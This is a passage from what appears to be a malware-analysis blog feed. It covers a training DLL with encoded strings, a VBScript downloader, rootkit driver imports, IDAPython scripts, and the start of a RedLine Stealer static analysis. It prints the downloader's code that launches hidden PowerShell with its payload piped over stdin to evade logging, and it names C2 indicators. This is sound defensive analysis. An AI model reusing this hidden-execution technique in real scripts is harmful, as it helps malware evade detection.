&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/15.CNQqpjGX_1JLAp7.webp&quot; alt=&quot;gcc compile command — DLL created&quot;&gt;
&lt;em&gt;gcc compiles &lt;code&gt;xor_caesar.dll&lt;/code&gt; from the C source above with no errors&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Ghidra Analysis&lt;/h3&gt;
&lt;p&gt;Opened the DLL in Ghidra and located the two decryption routines by their exported names:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/16.CT5qLjCU_Z1EEYWO.webp&quot; alt=&quot;Ghidra — caesar_decrypt function&quot;&gt;
&lt;em&gt;&lt;code&gt;caesar_decrypt&lt;/code&gt; — the decompiler shows &lt;code&gt;decrypted[i] = caesar_encrypted[i] + -3&lt;/code&gt;, i.e. subtracting the Caesar shift of 3 from each byte&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/17.Bcdl_gLO_1XaRTX.webp&quot; alt=&quot;Ghidra — xor_decrypt function&quot;&gt;
&lt;em&gt;&lt;code&gt;xor_decrypt&lt;/code&gt; — &lt;code&gt;decrypted[i] = xor_encrypted[i] ^ 0x2A&lt;/code&gt;; XOR is symmetric, so the same key both encrypts and decrypts&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;IDAPython Decryption&lt;/h3&gt;
&lt;p&gt;A Python script run inside IDA Pro locates the encrypted symbols by name, decrypts them with the correct routine, and annotates the database with inline comments:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/18.41ecRALM_10tIvi.webp&quot; alt=&quot;IDA Pro + IDAPython console — full decryption output&quot;&gt;
&lt;em&gt;Left: IDA Pro&apos;s disassembly of &lt;code&gt;execute_cmd&lt;/code&gt;, which shells out to &lt;code&gt;cmd.exe&lt;/code&gt; with &lt;code&gt;ShellExecuteA&lt;/code&gt;. Right: the IDAPython console output —&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- [*] Starting Decryption Script ---
[+] XOR Encrypted @ 0x33B403010: b&apos;rexyOIXO^&apos;
[+] XOR Decrypted: XORSecret
[+] Caesar Encrypted @ 0x33B403020: b&apos;FdhvduKlgghq&apos;
[+] Caesar Decrypted: CaesarHidden
[+] Base64 Encoded @ 0x33B403030: cG93ZXJzaGVsbCAtTm9FeGl0IC1X
[+] Decoded IOC: powershell -NoExit -W
[+] C2 URL @ 0x33B40400C: http://192.168.100.50/c2
--- [*] Decryption Complete ---
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Indicators of Compromise (IOCs)&lt;/h3&gt;
&lt;p&gt;| Method | Decrypted | Ciphertext | Key | Address |
|---|---|---|---|---|
| XOR | &lt;code&gt;XORSecret&lt;/code&gt; | &lt;code&gt;rexoyIXO^&lt;/code&gt; | &lt;code&gt;0x2A&lt;/code&gt; | &lt;code&gt;0x33B403010&lt;/code&gt; |
| Caesar | &lt;code&gt;CaesarHidden&lt;/code&gt; | &lt;code&gt;FdhvduKlggqh&lt;/code&gt; | Shift 3 | &lt;code&gt;0x33B403020&lt;/code&gt; |
| Base64 | &lt;code&gt;powershell -NoExit -W&lt;/code&gt; | &lt;code&gt;cG93ZXJzaGVsbCAtTm9FeGl0IC1X&lt;/code&gt; | — | &lt;code&gt;0x33B403030&lt;/code&gt; |
| C2 URL | &lt;code&gt;http://192.168.100.50/c2&lt;/code&gt; | — | — | &lt;code&gt;0x33B40400C&lt;/code&gt; |&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 3: VBScript Downloader — &lt;code&gt;Downloader.vbs&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Sample:&lt;/strong&gt; &lt;a href=&quot;https://www.hybrid-analysis.com/sample/81e4e91b8a841311b28b42951d53ec6ce471227480ca97c91c2aa1eeda6dad30&quot;&gt;Hybrid Analysis&lt;/a&gt; — scan result: &lt;strong&gt;clean&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/19.C4kGS0DJ_1NkOnM.webp&quot; alt=&quot;Hybrid Analysis overview&quot;&gt;
&lt;em&gt;Hybrid Analysis marks the 15 KiB &lt;code&gt;.vbs&lt;/code&gt; sample &quot;no specific threat&quot; / clean across its multi-scanner — obfuscation alone is enough to defeat static AV detection here&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;strings Downloader.vbs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/20.1pg95D6R_1fkif8.webp&quot; alt=&quot;Strings extraction from VBScript&quot;&gt;
&lt;em&gt;The script defines its own Base64 helper functions (&lt;code&gt;eb64&lt;/code&gt;, &lt;code&gt;stb&lt;/code&gt;, &lt;code&gt;db64&lt;/code&gt;, &lt;code&gt;bts&lt;/code&gt;) built on &lt;code&gt;Msxml2.DOMDocument&lt;/code&gt; and &lt;code&gt;ADODB.Stream&lt;/code&gt; — a common way VBScript malware avoids relying on any single obvious &quot;decode&quot; API&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key techniques:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-vbscript&quot;&gt;&apos; 1. Base64 + string replacement to build a placeholder payload
pls = Replace(pls, db64(&quot;cmVwbGFjZV9wYXJhbQ==&quot;), pr)  &apos; → &quot;replace_param&quot;
&apos; replace_plub64 is just a placeholder in this copy — in the wild the real
&apos; payload creates a scheduled task named &quot;chrome center&quot;, first deleting
&apos; any old task starting with chrome + [engine|policy|tele] to camouflage itself

&apos; 2. Hidden PowerShell via WScript.Shell
Set so = CreateObject(&quot;WScript.Shell&quot;)
setex = so.Exec(db64(&quot;Y21kLmV4ZSAvYyBwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLQ==&quot;))
&apos; → cmd.exe /c powershell -WindowStyle Hidden -
&apos; the decoded payload is piped in afterward via ex.StdIn.Write cts &amp;#x26; VbCrLf,
&apos; so PowerShell never sees the malicious command on its own command line
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Persistence:&lt;/strong&gt; scheduled task named &lt;code&gt;&quot;chrome center&quot;&lt;/code&gt; (Chrome-themed camouflage)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2:&lt;/strong&gt; &lt;code&gt;rtowatchship.xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fake trust signal:&lt;/strong&gt; a &lt;code&gt;&apos;&apos; SIG&apos;&apos; Begin/End&lt;/code&gt; block appended at the end of the script to mimic a digital signature&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/21.Bem6kexC_2hv2La.webp&quot; alt=&quot;Potential impact assessment&quot;&gt;
&lt;em&gt;Impact assessment — full system control, credential theft, data exfiltration, malware deployment (loader for ransomware/RATs/keyloggers), surveillance (webcam/mic), and lateral movement are all in scope if this script runs&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 4: Rootkit Driver&lt;/h2&gt;
&lt;p&gt;Static analysis only. IDA Pro&apos;s import table on the driver reveals the stealth + persistence architecture:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/22.Crc8Ghgt_Z1tIOyF.webp&quot; alt=&quot;IDA Pro — rootkit driver imports&quot;&gt;
&lt;em&gt;Imports from &lt;code&gt;ntoskrnl.exe&lt;/code&gt; — &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt;, &lt;code&gt;ZwSetSecurityObject&lt;/code&gt;, &lt;code&gt;IoCreateDevice&lt;/code&gt;, &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt;, &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt;, &lt;code&gt;RtlCreateSecurityDescriptor&lt;/code&gt; and friends, all resolved against the kernel image&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;| API | Purpose |
|---|---|
| &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt; | Tampers with the data returned to user-mode tools like Task Manager, removing this driver&apos;s PID from the process list |
| &lt;code&gt;ZwSetValueKey&lt;/code&gt; + &lt;code&gt;ZwCreateKey&lt;/code&gt; + &lt;code&gt;ZwOpenKey&lt;/code&gt; | Creates the autoload entry under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Services\&lt;/code&gt; so the &lt;code&gt;.sys&lt;/code&gt; loads on every boot |
| &lt;code&gt;IoCreateDevice&lt;/code&gt; / &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt; | Registers the rootkit as a device object the OS will load |
| &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; | Direct kernel object access — used to hide handles, alter permissions, or spoof object references |
| &lt;code&gt;ZwQueryDirectoryObject&lt;/code&gt; | Hides the device/driver entries from system enumeration utilities |&lt;/p&gt;
&lt;p&gt;Loads at &lt;strong&gt;kernel level before any user-mode security tool initializes&lt;/strong&gt;, giving it a persistent, hard-to-evict foothold.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 5: Automation &amp;#x26; Scripting&lt;/h2&gt;
&lt;h3&gt;IDAPython — Function Renaming&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;rename_map = {
    &quot;xor_decrypt&quot;:         &quot;perform_xor_decryption&quot;,
    &quot;caesar_decrypt&quot;:      &quot;perform_caesar_decryption&quot;,
    &quot;connect_to_c2&quot;:       &quot;establish_c2_connection&quot;,
    &quot;persist_in_registry&quot;: &quot;create_persistence_entry&quot;,
    &quot;execute_cmd&quot;:         &quot;execute_shell_command&quot;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Before:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/23.w3RWehgi_Z1QvkgQ.webp&quot; alt=&quot;IDA Pro before renaming&quot;&gt;
&lt;em&gt;Function list still carries the DLL&apos;s original exported names: &lt;code&gt;xor_decrypt&lt;/code&gt;, &lt;code&gt;caesar_decrypt&lt;/code&gt;, &lt;code&gt;connect_to_c2&lt;/code&gt;, &lt;code&gt;persist_in_registry&lt;/code&gt;, &lt;code&gt;execute_cmd&lt;/code&gt;, &lt;code&gt;print_all&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;After:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/24.yeC1Qhmo_Z2g21pg.webp&quot; alt=&quot;IDA Pro after renaming&quot;&gt;
&lt;em&gt;Renamed to &lt;code&gt;perform_xor_decryption&lt;/code&gt;, &lt;code&gt;perform_caesar_decryption&lt;/code&gt;, &lt;code&gt;establish_c2_connection&lt;/code&gt;, &lt;code&gt;create_persistence_entry&lt;/code&gt;, &lt;code&gt;execute_shell_command&lt;/code&gt; — console confirms &quot;Renamed 6 functions successfully&quot;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Highlighting Obfuscation Patterns&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/25.C54whyKU_uWqXl.webp&quot; alt=&quot;IDAPython — obfuscation pattern highlighting&quot;&gt;
&lt;em&gt;A follow-up script scans the renamed functions for XOR/Caesar-style constant obfuscation directly in the disassembly, color-codes each hit, and logs it: &lt;code&gt;[+] Caesar cipher at 0x33B40103D0: shift = -3&lt;/code&gt;, &lt;code&gt;[+] Caesar cipher at 0x33B4013fc: shift = -3&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Decryption Stub Detection&lt;/h3&gt;
&lt;p&gt;Hashes the mnemonic instruction sequence of every function and flags ones sharing an identical pattern:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/26.Bj7efNlv_1kX23O.webp&quot; alt=&quot;Stub detection — functions highlighted&quot;&gt;
&lt;em&gt;Console: &quot;Found 2 functions with matching patterns&quot; for several pairs (&lt;code&gt;pre_c_init&lt;/code&gt;/&lt;code&gt;__gcc_register_frame&lt;/code&gt;, &lt;code&gt;__stregdtor&lt;/code&gt;/&lt;code&gt;_get_output_format&lt;/code&gt;, &lt;code&gt;__getmainargs&lt;/code&gt;/&lt;code&gt;__wgetmainargs&lt;/code&gt;, &lt;code&gt;tzset&lt;/code&gt;/&lt;code&gt;_tzset_0&lt;/code&gt;) — each pair is highlighted light pink in the disassembly with a &quot;Possible repeated decryption stub&quot; comment&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;IDA vs Ghidra Comparison&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Export from IDA Pro:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/27.C0OgAPjq_1AEYHB.webp&quot; alt=&quot;IDA Pro export to ida_decomp.json&quot;&gt;
&lt;em&gt;IDAPython script walks every function via &lt;code&gt;idautils.Functions()&lt;/code&gt;, decompiles each with Hex-Rays, and dumps the result to &lt;code&gt;ida_decomp.json&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Export from Ghidra:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/28.DSx-Mebi_zY53L.webp&quot; alt=&quot;Ghidra export to ghidra_decomp.json&quot;&gt;
&lt;em&gt;The equivalent Ghidra Script Manager job (&lt;code&gt;export_decomp.py&lt;/code&gt;) uses &lt;code&gt;DecompInterface&lt;/code&gt; to decompile every function in the listing and dump it to &lt;code&gt;ghidra_decomp.json&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/29.bdrJN6-T_1lwPdL.webp&quot; alt=&quot;Ghidra export console — permission retry&quot;&gt;
&lt;em&gt;First run fails with &lt;code&gt;IOError: [Errno 13] Permission denied&lt;/code&gt; writing to &lt;code&gt;Desktop\ghidra_decomp.json&lt;/code&gt;; re-pointing the output path to &lt;code&gt;Documents\ghidra_decomp.json&lt;/code&gt; succeeds&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Run comparison:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python compare_decomp.py &quot;ida_decomp.json&quot; &quot;ghidra_decomp.json&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/30.GQf577x4_Z1ooOKq.webp&quot; alt=&quot;Comparison results — full function diff&quot;&gt;
&lt;em&gt;&lt;code&gt;compare_decomp.py&lt;/code&gt; diffs both function sets: &lt;strong&gt;96&lt;/strong&gt; decompiled by IDA vs &lt;strong&gt;71&lt;/strong&gt; by Ghidra, with the two &quot;only in&quot; lists printed in full&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;| Metric | IDA Pro | Ghidra |
|---|---|---|
| Total functions | &lt;strong&gt;96&lt;/strong&gt; | &lt;strong&gt;71&lt;/strong&gt; |
| Only in this tool | &lt;strong&gt;31&lt;/strong&gt; — includes &lt;code&gt;InternetCloseHandle&lt;/code&gt;, &lt;code&gt;InternetOpenA&lt;/code&gt;, &lt;code&gt;InternetOpenUrlA&lt;/code&gt;, the &lt;code&gt;_FindPESection*&lt;/code&gt; family, &lt;code&gt;__gcc_register_frame&lt;/code&gt;/&lt;code&gt;__gcc_deregister_frame&lt;/code&gt;, &lt;code&gt;__getmainargs&lt;/code&gt;/&lt;code&gt;__wgetmainargs&lt;/code&gt;, &lt;code&gt;create_persistence_entry&lt;/code&gt;, &lt;code&gt;establish_c2_connection&lt;/code&gt;, &lt;code&gt;execute_all_functions&lt;/code&gt;, &lt;code&gt;execute_shell_command&lt;/code&gt;, &lt;code&gt;perform_caesar_decryption&lt;/code&gt;, &lt;code&gt;perform_xor_decryption&lt;/code&gt;, &lt;code&gt;pre_c_init&lt;/code&gt;, &lt;code&gt;tzset&lt;/code&gt; | &lt;strong&gt;6&lt;/strong&gt; — &lt;code&gt;caesar_decrypt&lt;/code&gt;, &lt;code&gt;connect_to_c2&lt;/code&gt;, &lt;code&gt;execute_cmd&lt;/code&gt;, &lt;code&gt;persist_in_registry&lt;/code&gt;, &lt;code&gt;print_all&lt;/code&gt;, &lt;code&gt;xor_decrypt&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why the difference:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IDA finds 31 more&lt;/strong&gt; — more aggressive CRT-startup and Windows-API-wrapper detection, plus the rename script&apos;s descriptive names show up as distinct entries in its own export&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ghidra finds 6 unique&lt;/strong&gt; — these are exactly the DLL&apos;s &lt;em&gt;original&lt;/em&gt; exported names (&lt;code&gt;xor_decrypt&lt;/code&gt;, &lt;code&gt;caesar_decrypt&lt;/code&gt;, &lt;code&gt;connect_to_c2&lt;/code&gt;, &lt;code&gt;persist_in_registry&lt;/code&gt;, &lt;code&gt;execute_cmd&lt;/code&gt;, &lt;code&gt;print_all&lt;/code&gt;); Ghidra preserved the pre-rename symbols in this comparison pass while IDA&apos;s export reflects the post-rename database&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;| Part | Sample | Key Finding |
|---|---|---|
| 1 | tr_pack1.exe (Astaroth.exe) | UPX-packed, AES-256 setup, anti-debug, drops &lt;code&gt;%AppData%\5kidRo0t.exe&lt;/code&gt; persistence, /24 raw-socket scan, fork + memory-exhaustion loop |
| 2 | xor_caesar.dll | C2 &lt;code&gt;192.168.100.50/c2&lt;/code&gt;, XOR key &lt;code&gt;0x2A&lt;/code&gt;, Caesar shift &lt;code&gt;3&lt;/code&gt;, IDAPython auto-decrypt via &lt;code&gt;xor_decrypt&lt;/code&gt;/&lt;code&gt;caesar_decrypt&lt;/code&gt; |
| 3 | Downloader.vbs | AV-clean but C2 &lt;code&gt;rtowatchship.xyz&lt;/code&gt;, Chrome-named scheduled task, fake SIG block, hidden PowerShell execution |
| 4 | Rootkit .sys | Hides PID via &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt;, boots at kernel level via Services registry key, direct kernel object manipulation |
| 5 | xor_caesar.dll | IDA: 96 functions, Ghidra: 71 — always cross-validate |&lt;/p&gt;</content:encoded><h:img src="/_astro/malware-icon-1024x569.DQ06FjKg.jpg"/><enclosure url="/_astro/malware-icon-1024x569.DQ06FjKg.jpg"/></item><item><title>REV: RedLine Stealer — Static &amp; Dynamic Analysis</title><link>https://zy0ud.me/blog/rev-project1-redline-stealer-analysis</link><guid isPermaLink="true">https://zy0ud.me/blog/rev-project1-redline-stealer-analysis</guid><description>This post walks through a complete static and dynamic analysis of a real-world malware sample pulled from MalwareBazaar — cataloged under the signature…</description><pubDate>Mon, 01 Jun 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This post walks through a complete static and dynamic analysis of a real-world malware sample pulled from &lt;a href=&quot;https://bazaar.abuse.ch/&quot;&gt;MalwareBazaar&lt;/a&gt; — cataloged under the signature &lt;strong&gt;Backdoor.TeamViewer&lt;/strong&gt;, carrying the file name &lt;code&gt;WEXTRACT.EXE .MUI&lt;/code&gt;, and flagged on VirusTotal as &lt;strong&gt;RedLine Stealer&lt;/strong&gt; (Trojan). The workflow covers isolated lab setup, sample acquisition and hashing, PE structure and metadata dissection across nine static tools, sandbox detonation, and live runtime monitoring.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Phase 1: Lab Environment Setup&lt;/h2&gt;
&lt;p&gt;An isolated &lt;strong&gt;Windows 10 x64&lt;/strong&gt; virtual machine was built in VMware Workstation Pro using the official Microsoft developer VM images, with the network adapter set to &lt;strong&gt;NAT&lt;/strong&gt; so the guest could reach the internet for lookups (VirusTotal, MalwareBazaar) without exposing the host to the sample&apos;s traffic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/0.BnO7O568_1LLvDI.webp&quot; alt=&quot;Microsoft Windows Desktop Runtime installer&quot;&gt;
&lt;em&gt;.NET Desktop Runtime 9.0.4 (x64) installer — a VM dependency required by several of the analysis tools used later&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1.B5vpC_t6_UCRmS.webp&quot; alt=&quot;VMware Virtual Machine Settings — network adapter&quot;&gt;
&lt;em&gt;VMware network adapter configured to NAT — the VM shares the host&apos;s IP rather than bridging directly onto the network&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2.Dt9krvg3_10HThj.webp&quot; alt=&quot;Windows 10 x64 analysis desktop&quot;&gt;
&lt;em&gt;Windows 10 x64 analysis VM — HashCalc and PEiD shortcuts staged on the desktop alongside the standard toolset&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Phase 2: Sample Acquisition &amp;#x26; Hashing&lt;/h2&gt;
&lt;p&gt;The sample was pulled from &lt;a href=&quot;https://bazaar.abuse.ch/&quot;&gt;MalwareBazaar&lt;/a&gt; under the &lt;strong&gt;Backdoor.TeamViewer&lt;/strong&gt; signature.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/6.DCOw9on6_15Izz.webp&quot; alt=&quot;MalwareBazaar sample entry&quot;&gt;
&lt;em&gt;MalwareBazaar entry — signature &quot;Backdoor.TeamViewer&quot;, 14 vendor detections, file size 1,917,440 bytes, first seen 2023-10-10. The imphash (&lt;code&gt;646167cce332c1c252cdcb1839e0cf48&lt;/code&gt;) is shared with 8,467 other RedLine Stealer samples, 4,786 Amadey samples, and 290 Smoke Loader samples — strong evidence of a common builder/loader lineage&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Hashes were computed twice, with a GUI tool and a CLI tool, to cross-verify:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7.DTOYhYQX_1enBWN.webp&quot; alt=&quot;HashCalc hash calculation&quot;&gt;
&lt;em&gt;HashCalc — MD5, SHA1, SHA256, RIPEMD160, and CRC32 computed locally, confirming the published hash set&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5.CYD_T9dE_7s2aa.webp&quot; alt=&quot;Command-line hash verification&quot;&gt;
&lt;em&gt;md5deep64 / sha1deep64 / sha256deep64 run against the sample — output matches the hashes published on MalwareBazaar&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sample hashes:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;| Algorithm | Hash |
|---|---|
| SHA256 | &lt;code&gt;248fcc901aff4e4b4c48c91e4d78a939bf681c9a1bc24addc3551b32768f907b&lt;/code&gt; |
| SHA1 | &lt;code&gt;7ccfb7678c34d6a2bedc040da04e2b5201be453b&lt;/code&gt; |
| MD5 | &lt;code&gt;18cbe55c3b28754916f1cbf4dfc95cf9&lt;/code&gt; |&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Phase 3: Static Analysis&lt;/h2&gt;
&lt;h3&gt;VirusTotal&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/8.C2WRiu6__Zk1FMU.webp&quot; alt=&quot;VirusTotal detection ratio&quot;&gt;
&lt;em&gt;57 / 71 vendors flag the file as malicious. Popular threat label: &lt;code&gt;trojan.crfl/redline&lt;/code&gt;. Family labels: crfl, redline, stealer. Behavioral tags: checks-disk-space, checks-user-input, spreader, executes-dropped-file, detect-debug-environment, persistence, long-sleeps&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/9.C1xlsfE3_i3XTa.webp&quot; alt=&quot;VirusTotal BEHAVIOR tab&quot;&gt;
&lt;em&gt;Grouped sandbox reports (CAPE, VMRay, VirusTotal Jujubox, Zenbox, Dr.Web vxCube, Sangfor ZSand and others) roll up to 5 detections, MITRE ATT&amp;#x26;CK signatures, IDS/Sigma rule hits, ~80 dropped files, and network activity spanning 62 HTTP requests, 13 DNS requests, and 165 contacted IPs&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Malware family:&lt;/strong&gt; RedLine Stealer — a commodity infostealer that targets browser-stored credentials/cookies, cryptocurrency wallets, and applications such as FileZilla, Discord, Steam, Telegram, and VPN clients.&lt;/p&gt;
&lt;h3&gt;Strings Extraction&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;strings -u WEXTRACT.EXE &gt; strings_output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/10.CMnaiJZI_ZnYlxi.webp&quot; alt=&quot;Strings tool output&quot;&gt;
&lt;em&gt;Sysinternals Strings v2.54 — &lt;code&gt;kernel32.dll&lt;/code&gt; plus a run of Cabinet-SDK-style tokens (&lt;code&gt;ADMQCMD&lt;/code&gt;, &lt;code&gt;EXTRACTOPT&lt;/code&gt;, &lt;code&gt;FILESIZES&lt;/code&gt;, &lt;code&gt;PACKINSTSPACE&lt;/code&gt;, &lt;code&gt;RUNPROGRAM&lt;/code&gt;, &lt;code&gt;SHOWWINDOW&lt;/code&gt;, &lt;code&gt;USRQCMD&lt;/code&gt;) and license/prompt text&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/11.DppT0iCN_ZQtzjk.webp&quot; alt=&quot;BinText advanced output&quot;&gt;
&lt;em&gt;BinText 3.0.3 — the VERSIONINFO block resolves cleanly: CompanyName &quot;Microsoft Corporation&quot;, FileDescription &quot;Win32 Cabinet Self-Extractor&quot;, OriginalFilename &quot;WEXTRACT.EXE .MUI&quot;, ProductName &quot;Internet Explorer&quot;. That last field is a mismatch worth flagging — a cabinet self-extractor reporting itself as part of Internet Explorer&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;PEiD&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/12.DIFbBLFV_20SOYb.webp&quot; alt=&quot;PEiD packer scan&quot;&gt;
&lt;em&gt;PEiD v0.95 — Entry Point &lt;code&gt;00006A60&lt;/code&gt; (&lt;code&gt;.text&lt;/code&gt;), File Offset &lt;code&gt;00005E60&lt;/code&gt;, First Bytes &lt;code&gt;E8,F0,06,00&lt;/code&gt;, Linker &lt;code&gt;14.13&lt;/code&gt;, Subsystem Win32 GUI. Main scan: &quot;Nothing found&quot;. Entropy: 6.19 (Not Packed). EP Check: Not Packed. Fast Check: &lt;strong&gt;Packed&lt;/strong&gt; — the four indicators don&apos;t agree with each other&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The conflict between &quot;nothing found&quot; and a positive fast-check hit is typical of PEiD against anything newer than its signature database — it means &quot;inconclusive,&quot; not &quot;clean.&quot;&lt;/p&gt;
&lt;h3&gt;LordPE&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/13.DkoHP34J_ZMsf9Y.webp&quot; alt=&quot;LordPE PE header editor&quot;&gt;
&lt;em&gt;LordPE Deluxe — full PE header dump&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;| Field | Value | Meaning |
|---|---|---|
| EntryPoint | &lt;code&gt;00006A60&lt;/code&gt; | RVA where execution starts |
| ImageBase | &lt;code&gt;00400000&lt;/code&gt; | Preferred load address |
| SizeOfImage | &lt;code&gt;001D9000&lt;/code&gt; | Total in-memory image size |
| NumberOfSections | &lt;code&gt;0005&lt;/code&gt; | Five PE sections |
| TimeDateStamp | &lt;code&gt;628D60E2&lt;/code&gt; | Compiles to 2022-05-24 22:49:06 UTC |
| Subsystem | &lt;code&gt;0002&lt;/code&gt; | Windows GUI application |&lt;/p&gt;
&lt;h3&gt;PEview&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/14.BP2Jkoia_IAmOI.webp&quot; alt=&quot;PEview IMAGE_DOS_HEADER&quot;&gt;
&lt;em&gt;IMAGE_DOS_HEADER — MZ signature (&lt;code&gt;0x5A4D&lt;/code&gt;), offset to the PE header at &lt;code&gt;0x000000E0&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/15.DLwNIHV5_14lJg7.webp&quot; alt=&quot;PEview IMAGE_FILE_HEADER&quot;&gt;
&lt;em&gt;IMAGE_FILE_HEADER — Machine: &lt;code&gt;IMAGE_FILE_MACHINE_I386&lt;/code&gt;, 5 sections, timestamp &lt;code&gt;2022/05/24 22:49:06 UTC&lt;/code&gt;, Characteristics &lt;code&gt;0102&lt;/code&gt; (&lt;code&gt;IMAGE_FILE_EXECUTABLE_IMAGE&lt;/code&gt; | &lt;code&gt;IMAGE_FILE_32BIT_MACHINE&lt;/code&gt;)&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Dependency Walker&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/16.CX6Xy4TD_suUCs.webp&quot; alt=&quot;Dependency Walker import tree&quot;&gt;
